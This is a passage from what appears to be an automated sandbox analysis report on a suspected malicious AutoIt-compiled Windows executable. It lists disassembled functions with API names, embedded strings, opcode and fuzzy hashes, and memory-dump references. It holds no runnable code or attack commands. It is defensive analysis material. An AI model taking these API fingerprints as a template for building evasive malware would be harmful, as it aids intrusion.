                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$CreateObjectStockWindow
                                                          • String ID: Msctls_Progress32
                                                          • API String ID: 1025951953-3636473452
                                                          • Opcode ID: 175e965b11afd85df2c3a996d4a298cb258778d92a24fde76c77afeddb8f143d
                                                          • Instruction ID: c170de4c49443cd14467aa30541ad5fb257012460b4dbf5227c5880bb9f499de
                                                          • Opcode Fuzzy Hash: 175e965b11afd85df2c3a996d4a298cb258778d92a24fde76c77afeddb8f143d
                                                          • Instruction Fuzzy Hash: D831373661A69187E360CF25F494B5AB761FB99B90F109239EB9983B58CF3CD845CF00
                                                          Function 00007FF6A5378F40 Relevance: 9.2, APIs: 6, Instructions: 246COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Rect$Client$Window$MetricsScreenSystem
                                                          • String ID:
                                                          • API String ID: 3220332590-0
                                                          • Opcode ID: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
                                                          • Instruction ID: 03087d6c364bd44c667f1b0da1453f3c0fdee822ea9d2feb938e95086c2eda8e
                                                          • Opcode Fuzzy Hash: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
                                                          • Instruction Fuzzy Hash: A8A1C3A7A2A653CAE724DF7584047BD33A0FF85F58F151135EE1A87A94FE399C00A320
                                                          Function 00007FF6A53DAD30 Relevance: 9.2, APIs: 6, Instructions: 193memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Variant$ClearCopy$AllocInitString
                                                          • String ID:
                                                          • API String ID: 3859894641-0
                                                          • Opcode ID: e8b24930f51ba047eb7d77df0b47a13309a91a72afe8362d3ff3918905f513c3
                                                          • Instruction ID: b24c7d05e1c59657e3943dfb6fa2059a3c990fe00b23d5514dc80eed5a2064b3
                                                          • Opcode Fuzzy Hash: e8b24930f51ba047eb7d77df0b47a13309a91a72afe8362d3ff3918905f513c3
                                                          • Instruction Fuzzy Hash: 46712C7292AA4281EA28DF25966417CA3B4FF86F80F144835D74E8B795FF2CED21C711
                                                          Function 00007FF6A53ED1F0 Relevance: 9.1, APIs: 6, Instructions: 131filestringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Filewcscat$FullNamePath$AttributesMoveOperationlstrcmpi
                                                          • String ID:
                                                          • API String ID: 564229958-0
                                                          • Opcode ID: 35062434fee54acf94d2c2a036a69dc928caf6f380b06f8f0a879a9cbd16691f
                                                          • Instruction ID: f9774aa4e15209e806a9659aaf93d58473c3c5c3c54717f324bf628dff6a9283
                                                          • Opcode Fuzzy Hash: 35062434fee54acf94d2c2a036a69dc928caf6f380b06f8f0a879a9cbd16691f
                                                          • Instruction Fuzzy Hash: BE518722A25E8295EB20DF60D4402ED63A4FFD2F84F800436EA4D9759AFFA8DF05C740
                                                          Function 00007FF6A537D4CC Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 119COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: %.15g$0x%p$False$True
                                                          • API String ID: 0-2263619337
                                                          • Opcode ID: 40135c79a8996d5c8aa83caab6b6326d770780a293c4c206c674456aa7b83f9e
                                                          • Instruction ID: 3e158ac3a879b5079becbb78371299deefb0200a058b2bf8564c3b1035f41879
                                                          • Opcode Fuzzy Hash: 40135c79a8996d5c8aa83caab6b6326d770780a293c4c206c674456aa7b83f9e
                                                          • Instruction Fuzzy Hash: 1F5192A2F1AE52D6EB20DB69D4501BC23A5EBC6F98F148531CA0E87795EE39E805C340
                                                          Function 00007FF6A5404C58 Relevance: 9.1, APIs: 6, Instructions: 99COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Window$PerformanceQuery$CounterRectmouse_event$CursorDesktopForegroundFrequencySleep
                                                          • String ID:
                                                          • API String ID: 383626216-0
                                                          • Opcode ID: d42387b76471bac3b8932b653f89b44f129081ac0d9aa200aab0c7b58dfd8027
                                                          • Instruction ID: 964a45daaf2506d1f5141ecdfc05cbbdbd6ebe6dd8c397177c0cf8bd01f36b1a
                                                          • Opcode Fuzzy Hash: d42387b76471bac3b8932b653f89b44f129081ac0d9aa200aab0c7b58dfd8027
                                                          • Instruction Fuzzy Hash: 09318033B056528BE314CF61D4407EC37A1FB9AB58F500235EE1A97A84DF3CE9458740
                                                          Function 00007FF6A53DD2C4 Relevance: 9.1, APIs: 6, Instructions: 77processCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                          • String ID:
                                                          • API String ID: 1413079979-0
                                                          • Opcode ID: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
                                                          • Instruction ID: 542f3505562294b113c45750693ab2109910d3d233b33d1572c4f1b02dd41007
                                                          • Opcode Fuzzy Hash: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
                                                          • Instruction Fuzzy Hash: FA315A32619B8586D764CF42E8847AAB7A4FB89F90F144526DE8D83B14DF3DD845CB00
                                                          Function 00007FF6A53A1E74 Relevance: 9.1, APIs: 6, Instructions: 56threadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Thread$CloseCreateErrorFreeHandleLastLibraryResume_invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 2082702847-0
                                                          • Opcode ID: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
                                                          • Instruction ID: 58203c56152002c64d03a7863b573b713f6d92ccd4eb4dda5788df93cb2e2d47
                                                          • Opcode Fuzzy Hash: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
                                                          • Instruction Fuzzy Hash: 1B215E21A1BF4281EE58DB60A414279A290AF96FB4F580734DB3DC77D5EF3DEC148610
                                                          Function 00007FF6A53E2240 Relevance: 9.0, APIs: 6, Instructions: 50COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CapsDevice$Release
                                                          • String ID:
                                                          • API String ID: 1035833867-0
                                                          • Opcode ID: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
                                                          • Instruction ID: 5f439641be4d05b62ad6a164de61a4950ea827dce122336e71720d7f7df78960
                                                          • Opcode Fuzzy Hash: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
                                                          • Instruction Fuzzy Hash: 9B11AC35B16B1182EB08CB62A80803D66A5FB8AFD0F008478DE0ECBB94EE3DDC018700
                                                          Function 00007FF6A54209FC Relevance: 9.0, APIs: 6, Instructions: 45COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Path$LineMoveObjectSelect$BeginCreateStroke
                                                          • String ID:
                                                          • API String ID: 43455801-0
                                                          • Opcode ID: cd64bc4caddf1c30f8798d15c9bc183870131294e5ef7b47fced05608eeea06d
                                                          • Instruction ID: 0275562cbd542d20adddf4e36ad8636d963fee46e8e7ce5cb1e02eec766b988a
                                                          • Opcode Fuzzy Hash: cd64bc4caddf1c30f8798d15c9bc183870131294e5ef7b47fced05608eeea06d
                                                          • Instruction Fuzzy Hash: BE116D31B156A282E714CB16A8047BD7B60EF96F94F585170CF0A87B50EF7DE845CB40
                                                          Function 00007FF6A5392D5C Relevance: 9.0, APIs: 6, Instructions: 39keyboardCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Virtual
                                                          • String ID:
                                                          • API String ID: 4278518827-0
                                                          • Opcode ID: d88387182f0ff78ab7778ef1a67cdc330360886ef23228c05630025599c5fb3f
                                                          • Instruction ID: 8edc67ce1708b2c3ba0dea69daaaebfe54a3f84a69f3336cea893ed246de8f09
                                                          • Opcode Fuzzy Hash: d88387182f0ff78ab7778ef1a67cdc330360886ef23228c05630025599c5fb3f
                                                          • Instruction Fuzzy Hash: 3A1112729166508AD748CF39DC4816D3BB2FB69F09B94D074C249CF265EF39D49AC701
                                                          Function 00007FF6A53DF378 Relevance: 9.0, APIs: 6, Instructions: 33threadwindowtimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
                                                          • String ID:
                                                          • API String ID: 179993514-0
                                                          • Opcode ID: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
                                                          • Instruction ID: fb2d4a1463a69be177b70c85713120ee94114bedb8b2a88b5da6c7b6d076a34f
                                                          • Opcode Fuzzy Hash: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
                                                          • Instruction Fuzzy Hash: 9DF08121F2AB2143F750CB72A88867D62A1FF99B44F844434D90EC6B50EE3CD884CB00
                                                          Function 00007FF6A53DD868 Relevance: 9.0, APIs: 6, Instructions: 22memorysynchronizationCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                          • String ID:
                                                          • API String ID: 146765662-0
                                                          • Opcode ID: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
                                                          • Instruction ID: 18aa2086ea4000ea0c383398827a0802800efc891bc1ddc4ed6f8bf3d4cdf20f
                                                          • Opcode Fuzzy Hash: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
                                                          • Instruction Fuzzy Hash: 3AF0AC25A16A1182EB04DF76D89406D6361EF99FB5B045171CD1ECA3A4CE3CD895C710
                                                          Function 00007FF6A5407E38 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 237COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: FreeFromProgTask$BlanketConnectConnection2CreateInitializeInstanceOpenProxyQueryRegistrySecurityValuelstrcmpi
                                                          • String ID: NULL Pointer assignment
                                                          • API String ID: 1653399731-2785691316
                                                          • Opcode ID: 069250944c4b5cae8d9ba027fcc4337deb9b93f0114834e2bf5349901f1538a4
                                                          • Instruction ID: 6aae009bcbae8c05ba26259182f30a112f110548c4e5d055596435236eb72c47
                                                          • Opcode Fuzzy Hash: 069250944c4b5cae8d9ba027fcc4337deb9b93f0114834e2bf5349901f1538a4
                                                          • Instruction Fuzzy Hash: DAB18B72A09B419AEB10DF61D4801AD7BB0FB95B98F500136EE4D97B58EF38E945CB40
                                                          Function 00007FF6A540CDF0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 233COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CharLowerBuffW.USER32(?,?,?,?,00000003,00000000,?,00007FF6A540BF47), ref: 00007FF6A540CE29
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: BuffCharLower
                                                          • String ID: cdecl$none$stdcall$winapi
                                                          • API String ID: 2358735015-567219261
                                                          • Opcode ID: 02b910466ee187c44740fa94090c75d71f2fbf299a4025593c27fff920242e11
                                                          • Instruction ID: 383e53d9f86106429111b8bc0dc4312118a27064b42a3d2f2a65457b8a5b39b9
                                                          • Opcode Fuzzy Hash: 02b910466ee187c44740fa94090c75d71f2fbf299a4025593c27fff920242e11
                                                          • Instruction Fuzzy Hash: 0D91A222F2AA52C2EA64CF25844057AA3A0FB66F94B604532DE1DD37C5EF3DED56C340
                                                          Function 00007FF6A5406920 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 212COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Variant$ClearInit$BuffCharCopyUpper
                                                          • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                          • API String ID: 4237274167-1221869570
                                                          • Opcode ID: 547064277256a578b14e90cf15900b857c5a7bc6aa9a77bb28066ad4bccadfc1
                                                          • Instruction ID: 7c91e91183658a569083d007436b3975fd6d03923e92caa4d9f2070915cbb1ab
                                                          • Opcode Fuzzy Hash: 547064277256a578b14e90cf15900b857c5a7bc6aa9a77bb28066ad4bccadfc1
                                                          • Instruction Fuzzy Hash: 48918B66B0AB5286EB10EF65E0402AD33B4FB9AF98B554436DE4E87755EF3CE805C340
                                                          Function 00007FF6A53E0EAF Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 187COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetForegroundWindow.USER32 ref: 00007FF6A53E0EDB
                                                            • Part of subcall function 00007FF6A53E0B90: CharUpperBuffW.USER32(?,?,00000001,00007FF6A53E0F61), ref: 00007FF6A53E0C6A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: BuffCharForegroundUpperWindow
                                                          • String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
                                                          • API String ID: 3570115564-1994484594
                                                          • Opcode ID: aa2d75645f71e86a50ff5ca5877f2f0bc66e0fe209def1fa84d7ab904b0cb0e5
                                                          • Instruction ID: 689ce535763d20fa1050002dbd1cfb0505a91abee6afb66747b9cb103f5eb2e3
                                                          • Opcode Fuzzy Hash: aa2d75645f71e86a50ff5ca5877f2f0bc66e0fe209def1fa84d7ab904b0cb0e5
                                                          • Instruction Fuzzy Hash: 4D718C52B2AE4282EE65DB61D8112B962E1AFD7F84F844431CE0ED6695FE7CED458300
                                                          Function 00007FF6A53E9898 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 127COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: BuffCharUpper
                                                          • String ID: APPEND$EXISTS$KEYS$REMOVE
                                                          • API String ID: 3964851224-769500911
